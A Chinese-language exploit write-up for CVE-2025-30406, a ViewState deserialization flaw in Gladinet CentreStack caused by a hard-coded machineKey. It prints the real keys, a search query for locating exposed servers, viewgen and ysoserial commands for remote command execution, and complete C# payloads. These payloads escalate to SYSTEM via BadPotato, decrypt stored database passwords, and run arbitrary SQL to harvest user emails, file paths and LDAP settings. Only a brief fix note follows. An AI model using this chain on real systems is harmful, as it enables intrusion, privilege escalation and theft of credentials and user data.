漏洞信息 漏洞名称:CVE-2025-30406 CentreStack ViewState 反序列化漏洞
漏洞原理:CentreStack 存在硬编码的 machineKey, 导致 ViewState 反序列化漏洞。
影响产品:Gladinet CentreStack 和 Triofox
产品介绍:CentreStack 是 Gladinet 的主要移动访问和安全共享解决方案。来自包括美国、加拿大、英国、澳大利亚、荷兰、瑞士等49个国家的数千家企业使用CentreStack。通过CentreStack,这些企业解决了数据所有权、数据隐私和数据安全问题,同时为其员工引入了一个安全的文件共享解决方案。
搜索语法:response:”/portal/loginpage.aspx” AND response:”__VIEWSTATEGENERATOR”
环境搭建 下载:https://www.centrestack.com/p/gce_latest_release.html
版本:16.1.10296.56315
windows server exe 安装即可
ViewState 反序列化 ViewState 介绍 ViewState 是 ASP.NET WebForms 中用于在客户端保存控件状态 的一种机制。它允许在页面回发(PostBack)时,服务器可以重新还原控件的上一次状态,而不需要重新初始化所有数据。
它一般是以 Base64 编码的形式存储在 HTML 中,例如:
ViewState 生成恢复过程 生成过程:控件树 -> SaveViewState -> 序列化 -> (加密) -> (签名) -> Base64 -> HTML输出
控件树生成:用户访问 .aspx
页面时,ASP.NET 解析页面,构建控件树(Page + 各种 Server 控件),控件持有属性状态(如 Text、Value、Checked)。
保存控件状态:每个控件调用 SaveViewState()
,将自己的状态保存到(可选)(轻量数据结构)。
对象树序列化:使用 LosFormatter
或 ObjectStateFormatter
,将对象树序列化成字节流。
加密(可选):如果启用,使用 AES 加密字节流,密钥来自 web.config
中的 machineKey(decryptionKey)。
签名(可选):用 HMACSHA1 或 HMACSHA256,结合 validationKey,对数据进行签名,防篡改。
Base64 编码输出:最后将字节流Base64编码,嵌入页面的 <input type="hidden" id="__VIEWSTATE" />
。
将 ViewState 恢复到控件的过程:接收 HTML -> Base64解码 -> (验证签名) -> (解密) -> 反序列化 -> LoadViewState
ViewState 反序列化 从上面恢复的过程可以看出,一旦泄露了加密和签名所使用的算法和密钥,我们就可以构造恶意的 ViewState 实现反序列化攻击。
加密和签名序列化数据所用的算法和密钥存放在 web.config 。该漏洞就是由于 web.config 中配置的算法和密钥是固定的,我们可以本地搭建环境获取其密钥然后构造反序列化 Payload。
漏洞复现 环境搭建完毕可以在 “C:\Program Files (x86)\Gladinet Cloud Enterprise\root\web.config” 中可以找到 ViewState 密钥。
1 2 3 decryption="AES" decryptionKey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" validationKey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16"
随后可以使用 viewgen 工具进行验证: 获取登陆页面中的 __VIEWSTATE 和 __VIEWSTATEGENERATOR:
1 docker run 0xacb/viewgen --decode --check --modifier 3FE2630A "/wEPDwUJLTc5MTM0MzY1DxYCHhNDU1JGVG9rZW4xNTk5MTIwOTM2BSRmN2JkYTAwMC01YjNlLTQ2MWMtODUyYy04MDhlOWM5YWI4YzQWAmYPZBYCAgEPZBYCAgEPZBYEAgQPZBYIZg8PFgIeCEltYWdlVXJsBRVpbWFnZXMvdGVhbWNsb3VkMi5qcGdkZAIBDw8WAh8BBRhpbWFnZXMvY2VudHJlc3RhY2tfbC5wbmdkZAICD2QWBgICDw8WAh4HVG9vbFRpcAUJVXNlciBOYW1lFgIeC3BsYWNlaG9sZGVyBQlVc2VyIE5hbWVkAgYPZBYCAgEPDxYCHwIFCFBhc3N3b3JkFgIfAwUIUGFzc3dvcmRkAgoPDxYEHgtOYXZpZ2F0ZVVybAUPR0Nsb3VkUGxhbi5hc3B4HgdWaXNpYmxlaGRkAgsPDxYCHgRUZXh0ZGRkAgoPDxYCHwYFC0NlbnRyZVN0YWNrZGRkMTmsZSWav/7DTVPhcB8+QA8OWceS26J2YazzfcBTmT8=" --vkey "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --valg SHA256 --dkey "B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --dalg "AES"
可以成功解码: 命令执行测试:
1 docker run 0xacb/viewgen --command "cmd /c ipconfig > C:\Windows\Temp\ipconfig.txt" --modifier 3FE2630A "/wEPDwUJLTc5MTM0MzY1DxYCHhNDU1JGVG9rZW4xNTk5MTIwOTM2BSRmN2JkYTAwMC01YjNlLTQ2MWMtODUyYy04MDhlOWM5YWI4YzQWAmYPZBYCAgEPZBYCAgEPZBYEAgQPZBYIZg8PFgIeCEltYWdlVXJsBRVpbWFnZXMvdGVhbWNsb3VkMi5qcGdkZAIBDw8WAh8BBRhpbWFnZXMvY2VudHJlc3RhY2tfbC5wbmdkZAICD2QWBgICDw8WAh4HVG9vbFRpcAUJVXNlciBOYW1lFgIeC3BsYWNlaG9sZGVyBQlVc2VyIE5hbWVkAgYPZBYCAgEPDxYCHwIFCFBhc3N3b3JkFgIfAwUIUGFzc3dvcmRkAgoPDxYEHgtOYXZpZ2F0ZVVybAUPR0Nsb3VkUGxhbi5hc3B4HgdWaXNpYmxlaGRkAgsPDxYCHgRUZXh0ZGRkAgoPDxYCHwYFC0NlbnRyZVN0YWNrZGRkMTmsZSWav/7DTVPhcB8+QA8OWceS26J2YazzfcBTmT8=" --vkey "5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --valg SHA256 --dkey "B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --dalg "AES"
漏洞利用 权限提升 当前的命令执行是 IIS 的权限,我们可以利用土豆提权到 System 。可以通过 ActivitySurrogateSelectorFromFile 利用链来实现。该链可以做到代码执行,这里可以通过加载土豆提权的 dll 实现权限提升。
这里使用 Godzilla 中的 BadPotato.dll 做好了 HTTP 相关的封装我们可以直接在这里使用:
添加 cmd 参数调用 ToString 方法后从 result 获取结果
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 using System;using System.Collections;using System.IO;using System.Reflection;using System.Text;using System.Web;public class E { public string Run () { try { string base64Dll = HttpContext.Current.Request.Form["x" ]; if (string .IsNullOrEmpty(base64Dll)) { return "" ; } byte [] dllBytes = Convert.FromBase64String(base64Dll); Assembly assembly = Assembly.Load(dllBytes); Type runType = assembly.GetType("BadPotato.Run" ); if (runType == null ) { return "" ; } object instance = Activator.CreateInstance(runType); var parametersField = runType.GetField("parameters" , BindingFlags.NonPublic | BindingFlags.Instance); if (parametersField == null ) { return "" ; } HttpContext context = HttpContext.Current; Hashtable parameters = new Hashtable(); parameters.Add("cmd" , Encoding.Default.GetBytes(context.Request.Form["c" ])); parametersField.SetValue(instance, parameters); instance.ToString(); var resultField = parameters["result" ]; if (resultField != null ) { return Encoding.Default.GetString((byte [])resultField); } return "" ; } catch (Exception ex) { return "" ; } } public E () { try { HttpContext context = HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); context.Response.Write(Run()); } catch (System.Exception ex) { HttpContext.Current.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.ToString())); } HttpContext.Current.Response.Flush(); HttpContext.Current.Response.End(); } }
生成 payload:
1 ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.BadPotato.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll;"
获取数据库配置 在 CentreStack 的根目录有一个 ChangeDBSettings.exe,反编译可以找到其数据库连接信息的存储位置。
可以看到其更新数据库配置其实就是去修改注册表 SOFTWARE\Gladinet\Enterprise 中的值。
密码是加密后存储的,但是使用的是 AES 我们可以进行解密。
不过在本地搭建环境中发现是存储在 DBConn 中的,可能手动修改后才是 ChangeDBSettings 中的那样。
根据这个就可以去构造 Payload 获取对方数据库的配置信息了。
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 using System;using System.IO;using System.Security.Cryptography;using System.Text;using System.Web;using Microsoft.Win32;public class E { private const string Random3 = "不过,调查也显示,日本、约旦、以色列和黎巴嫩等国的受调查者大多认为美国仍将保持自己的超级大国地位。近三分之二的埃及人认为中国『永远也不会』取代美国成为唯一的超级大国。在美国人中,有57%的受调查者认为美国不会把地位输给中国,不过也有三分之一的美国人认为,中国最终将超过美国,更有7%的人认为中国已经超过美国了。西欧国家的受调查者则比去年更加认为,中国永远也不会超过美国成为世界领袖。例如,44%的西班牙人和43%的法国人认为美国将保持自己的『一超』地位,比去年的比例都增加了9个百分点。不过,在接受调查的4个西欧国家中,大多数人都认为中国已经取代美国或者必将超过美国成为世界领袖。另外,墨西哥人的17%、阿根廷人的16%和印度人的15%也都认为,中国已经取代美国,成为世界头号超级大国了。" ; private const string Random4 = "moDriveは、ドライブとしてマウントできるので、フォルダコピー感覚で使えて超快適だが、無料だと容量が1Gバイトでちょっと手狭だ。「Gladinet」を利用してみよう。複数のウェブストレージを、ZumoDriveと同様、フォルダみたいに使えるようにするソフトse Software Gladinet ermöglicht es euch via Laufwerksbuchstabe zum Beispiel au" ; private static readonly byte [] bs3 = Encoding.UTF8.GetBytes(Random3); private static readonly byte [] bs4 = Encoding.UTF8.GetBytes(Random4); private static Aes aesProvider; string Encode (string s ) { return String.IsNullOrEmpty(s) ? String.Empty : HttpUtility.HtmlEncode(s); } public E () { HttpContext ctx = HttpContext.Current; ctx.Server.ClearError(); ctx.Response.Clear(); try { string DBConn = ReadEncryptedConnFromRegistry("DBConn" ); string DBServer = ReadEncryptedConnFromRegistry("DBServer" ); string DBUser = ReadEncryptedConnFromRegistry("DBUser" ); string DBUserPassword = ReadEncryptedConnFromRegistry("DBUserPassword" ); string DBName = ReadEncryptedConnFromRegistry("DBName" ); StringBuilder sb = new StringBuilder(); sb.Append("<DBConn>" ); sb.Append(Encode(Decrypt(DBConn, 32 ))); sb.Append("</DBConn>" ); sb.Append("<DBServer>" ); sb.Append(Encode(DBServer)); sb.Append("</DBServer>" ); sb.Append("<DBUser>" ); sb.Append(Encode(DBUser)); sb.Append("</DBUser>" ); sb.Append("<DBUserPassword>" ); sb.Append(Encode(Decrypt(DBUserPassword, 32 ))); sb.Append("</DBUserPassword>" ); sb.Append("<DBName>" ); sb.Append(Encode(DBName)); sb.Append("</DBName>" ); ctx.Response.ContentType = "text/plain; charset=utf-8" ; ctx.Response.Write(sb.ToString()); } catch (Exception ex) { ctx.Response.Write("Error: " + HttpUtility.HtmlEncode(ex.Message)); } finally { ctx.Response.Flush(); ctx.Response.End(); } } static string ReadEncryptedConnFromRegistry (string valueName ) { const string subKeyPath = @"SOFTWARE\Gladinet\Enterprise" ; try { RegistryView view = Environment.Is64BitProcess ? RegistryView.Registry64 : RegistryView.Registry32; using (RegistryKey hklm = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, view)) using (RegistryKey key = hklm.OpenSubKey(subKeyPath)) { if (key == null ) return string .Empty; object val = key.GetValue(valueName); if (val == null ) return string .Empty; return val.ToString(); } } catch { return string .Empty; } } static Aes GetAES (int n ) { if (aesProvider != null ) return aesProvider; Aes aes = Aes.Create(); aes.KeySize = 256 ; aes.Key = GetBytes(bs3, n); aes.IV = GetBytes(bs4, n / 2 ); aesProvider = aes; return aes; } static byte [] GetBytes (byte [] src, int count ) { byte [] dst = new byte [count]; Array.Copy(src, dst, count); return dst; } static string Decrypt (string cipherText, int n ) { if (string .IsNullOrEmpty(cipherText)) return string .Empty; try { Aes aes = GetAES(n); byte [] cipherBytes = Convert.FromBase64String(cipherText); using (MemoryStream ms = new MemoryStream(cipherBytes)) using (CryptoStream crypto = new CryptoStream(ms, aes.CreateDecryptor(), CryptoStreamMode.Read)) using (StreamReader reader = new StreamReader(crypto, Encoding.UTF8)) { return reader.ReadToEnd(); } } catch { return cipherText; } } }
生成 Payload:
1 .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.GetConn.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
其密码为 win-i3ba3ebkbaf ,其实就是主机名。
获取数据库信息 连接数据库后对其中的表进行简单分析,发现有用户邮箱、文件名称和对应路径、LDAP 配置等信息,还是很有用的。我们可以直接利用 CentreStack 本身的数据库操作 DLL 实现信息的获取。
现在来寻找数据库操作的 dll ,这里看到了一个 AddUserPage.aspx:
userlib.dll user.GladUserMgr
继续跟进 CreateUserEx 方法,最终跟进到 GladUserDB 类。
主要关注 GetRegConnString() 和 Config.ConnectionString 可以和上面获取数据库信息的逻辑对上:
GetRegConnString 主要是直接获取注册表中的 DBConn 字段:
Config.ConnectionString 则是获取单独的字段随后构造连接字符串:
随后连接字符串给传入 GetDBByConnString,根据其特征分别是 3 种不同的数据库:sql server、postgres、mysql
到这里我们就知道该如何去直接调用这个 dll 去执行 sql 了。
代码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 157 158 159 160 161 162 163 164 165 166 167 168 169 170 171 172 173 174 175 176 177 178 179 180 181 182 183 184 185 186 187 188 189 190 191 192 193 194 195 196 197 198 199 200 201 202 203 204 205 206 207 using System;using System.Collections;using System.IO;using System.Reflection;using System.Text;using System.Web;using System.Data;using System.Data.Common;using System.Runtime.Serialization;using System.Runtime.Serialization.Formatters.Binary;public class E { private string SerializeToJson (DataTable data ) { StringBuilder json = new StringBuilder(); json.Append("{\"success\":true,\"columns\":[" ); for (int i = 0 ; i < data.Columns.Count; i++) { if (i > 0 ) json.Append("," ); json.Append("{\"name\":\"" + EscapeJsonString(data.Columns[i].ColumnName) + "\",\"type\":\"" + EscapeJsonString(data.Columns[i].DataType.Name) + "\"}" ); } json.Append("],\"rows\":[" ); for (int i = 0 ; i < data.Rows.Count; i++) { if (i > 0 ) json.Append("," ); json.Append("{" ); for (int j = 0 ; j < data.Columns.Count; j++) { if (j > 0 ) json.Append("," ); string value = data.Rows[i][j] != null ? data.Rows[i][j].ToString() : "null" ; json.Append("\"" + EscapeJsonString(data.Columns[j].ColumnName) + "\":\"" + EscapeJsonString(value ) + "\"" ); } json.Append("}" ); } json.Append("]}" ); return json.ToString(); } private string EscapeJsonString (string input ) { if (input == null ) return "null" ; StringBuilder sb = new StringBuilder(); foreach (char c in input) { switch (c) { case '\\' : sb.Append("\\\\" ); break ; case '\"' : sb.Append("\\\"" ); break ; case '\b' : sb.Append("\\b" ); break ; case '\f' : sb.Append("\\f" ); break ; case '\n' : sb.Append("\\n" ); break ; case '\r' : sb.Append("\\r" ); break ; case '\t' : sb.Append("\\t" ); break ; default : if (c < ' ' ) { sb.AppendFormat("\\u{0:X4}" , (int )c); } else { sb.Append(c); } break ; } } return sb.ToString(); } public string GetData () { try { string dllPath = @"C:\Program Files (x86)\Gladinet Cloud Enterprise\portal\bin\userlib.dll" ; Assembly assembly = Assembly.LoadFile(dllPath); Type gladUserDBType = assembly.GetType("user.GladUserDB" ); if (gladUserDBType == null ) { return "{\"success\":false,\"message\":\"Failed to find GladUserDB type\"}" ; } MethodInfo isDBReadyMethod = gladUserDBType.GetMethod("IsDBReady" ); if (isDBReadyMethod == null ) { return "{\"success\":false,\"message\":\"Failed to find IsDBReady method\"}" ; } bool isReady = (bool )isDBReadyMethod.Invoke(null , null ); if (!isReady) { return "{\"success\":false,\"message\":\"Database is not ready\"}" ; } string base64Sql = HttpContext.Current.Request.Form["s" ]; if (string .IsNullOrEmpty(base64Sql)) { return "{\"success\":false,\"message\":\"No SQL query provided\"}" ; } string sqlQuery; try { byte [] sqlBytes = Convert.FromBase64String(base64Sql); sqlQuery = Encoding.UTF8.GetString(sqlBytes); } catch (FormatException) { return "{\"success\":false,\"message\":\"Invalid Base64 SQL query format\"}" ; } MethodInfo createDBCmdMethod = gladUserDBType.GetMethod("CreateDBCmd" , new Type[] { typeof (string ) }); if (createDBCmdMethod == null ) { return "{\"success\":false,\"message\":\"Failed to find CreateDBCmd method\"}" ; } DbCommand cmd = (DbCommand)createDBCmdMethod.Invoke(null , new object [] { sqlQuery }); MethodInfo getDataMethod = gladUserDBType.GetMethod("GetData" , new Type[] { typeof (DbCommand) }); if (getDataMethod == null ) { return "{\"success\":false,\"message\":\"Failed to find GetData method\"}" ; } DataTable data = (DataTable)getDataMethod.Invoke(null , new object [] { cmd }); if (data != null ) { return SerializeToJson(data); } else { return "{\"success\":false,\"message\":\"No data returned\"}" ; } } catch (Exception ex) { return "{\"success\":false,\"message\":\"" + EscapeJsonString(ex.Message) + "\"}" ; } } public E () { try { HttpContext context = HttpContext.Current; context.Server.ClearError(); context.Response.Clear(); context.Response.ContentType = "application/json" ; context.Response.Write(GetData()); } catch (Exception ex) { HttpContext.Current.Response.Write("{\"success\":false,\"message\":\"" + EscapeJsonString(ex.ToString()) + "\"}" ); } HttpContext.Current.Response.Flush(); HttpContext.Current.Response.End(); } }
1 .\ysoserial.exe -p ViewState -g ActivitySurrogateSelectorFromFile --decryptionkey="B4C3E4CB6CAF27CA9F7909640A4D608CC4458173F13E09C9" --validationkey="5496832242CC3228E292EEFFCDA089149D789E0C4D7C1A5D02BC542F7C6279BE9DD770C9EDD5D67C66B7E621411D3E57EA181BBF89FD21957DCDDFACFD926E16" --generator=3FE2630A -c "CentreStack.ExecSql.cs;System.dll;System.Web.dll;System.Data.dll;System.Xml.dll;System.Runtime.Extensions.dll"
CentreStack 中部分表介绍:
xaf_user:邮箱信息
xaf_namedvalue:配置项,name=ldap_endpoint 的就是 LDAP 的连接信息可以解密
csmain_xaf_files:文件信息( 名称、路径 )
…..
xaf_namedvalue 中的 ldap_endpoint 是加密的,但是解密方式和数据库连接信息的完全相同。
LDAP 批量获取:
其他问题 硬编码凭证 GladinetPayFlow.dll 中发现部分 Gladinet 相关平台的 API KEY。这里不展示了。
漏洞修复 machineKey 从硬编码更改为随机生成。
参考链接